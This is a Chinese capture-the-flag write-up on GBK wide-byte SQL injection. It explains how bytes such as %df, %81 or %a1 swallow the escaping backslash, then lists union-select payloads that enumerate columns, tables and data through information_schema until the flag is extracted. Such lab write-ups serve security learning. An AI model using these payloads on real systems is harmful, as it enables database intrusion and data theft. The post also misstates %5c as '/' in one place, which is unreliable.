0x01 开篇
本题用到考点是宽字节注入,遇到这种注入类型学习记录。
推荐两篇链接:浅析白盒审计中的字符编码及SQL注入 | 离别歌
为方便自我下次忘记,总结一下:
1.宽字节涉及到编码问题,便于理解需要看一看
2.宽字节注入现在已经很少见,因为如今的编码大多使用utf-8
常见url编码:
空格 --%20
' --%27
# --%23
\ --%5c
0x02 原理
我们注入时都会简单输入一个 ' 或者 " ,进行测试,如果数据库过滤不严格就会产生报错,宽字节注入会在 ' 前加入 \,加入反斜线之后,起到一个转义作用,这样,存在的 ' 就会失去注入的功能。
如下图所示,输入的 ' 被 \ 转义,注入功能失效,
但是,如果输入这样的payload:1%df',就会产生报错!
这是什么逻辑呢?
GBK编码认为一个汉字占两个字节,%5c 是 / 的url编码,加上 %df ,前面两个字符就会拼接为 %df%5c被识别为一个汉字。这样,/ 自动消失,转义作用在此失效。重新构造出来的汉字叫这玩意“yun”。符合我的理解:真实存在但是浏览器不能很好识别。
然后,我对%df产生疑问,为什么很多文章中使用的payload都用%df?
再次翻找文章并询问了周围大哥,得到答案。理论上讲,满足真实存在且不能被浏览器很好识别的汉字,并且编码能够包含%5c把 / 给弄没了的字符都可以。所以不必纠结为什么用%df,虽然我之前很纠结,哈哈哈。
像%81 、%a1经测试也是可以实现的,但是对应的汉字是什么我没有去找。
0x03 实例
明白原理,实例就和简单注入流程没有区别。为证明上述字符编码都可以实现,下面混淆使用,但效果是相同的。
猜字段
payload:1%81' order by 1 %23
测试到6出问题,可以判断5个字段
union联合查询判断回显位置 payload:-1%a1' union select 1,2,3,4,5 %23
查询数据库名 payload: -1%df' union select 1,database(),3,4,5 %23
利用information_schema进行查询,需要注意的是,正常的payload是:-11%df' union select 1,2,group_concat(table_name),4,5 from information_schema.tables where table_schema='kzf' %23 , 但是如果你真的这样使用,发现无法回显的,经百度发现问题是'kzf'里面的 ' 问题,如果想正常回显比较好的解决办法是:直接把数据库名变为16进制
payload:-11%df' union select 1,2,group_concat(table_name),4,5 from information_schema.tables where table_schema=0x6B7A66 %23
得到表名this_flag,继续进行查询,还有这里有个神奇的问题。如果我输入payload:-1%df' union select 1,2,group_concat(column_name),4,5 from information_schema.columns where table_name=0x746869735F666C6167 %23这条查询毫无问题,但是你会发现查询经常失败但一不小心就成功了,这里应该是它服务器的问题
查询flag,payload:-1%df' union select 1,2,group_concat(flag),4,5 from this_flag %23
得到flag。
首发于2021-08-21 11:07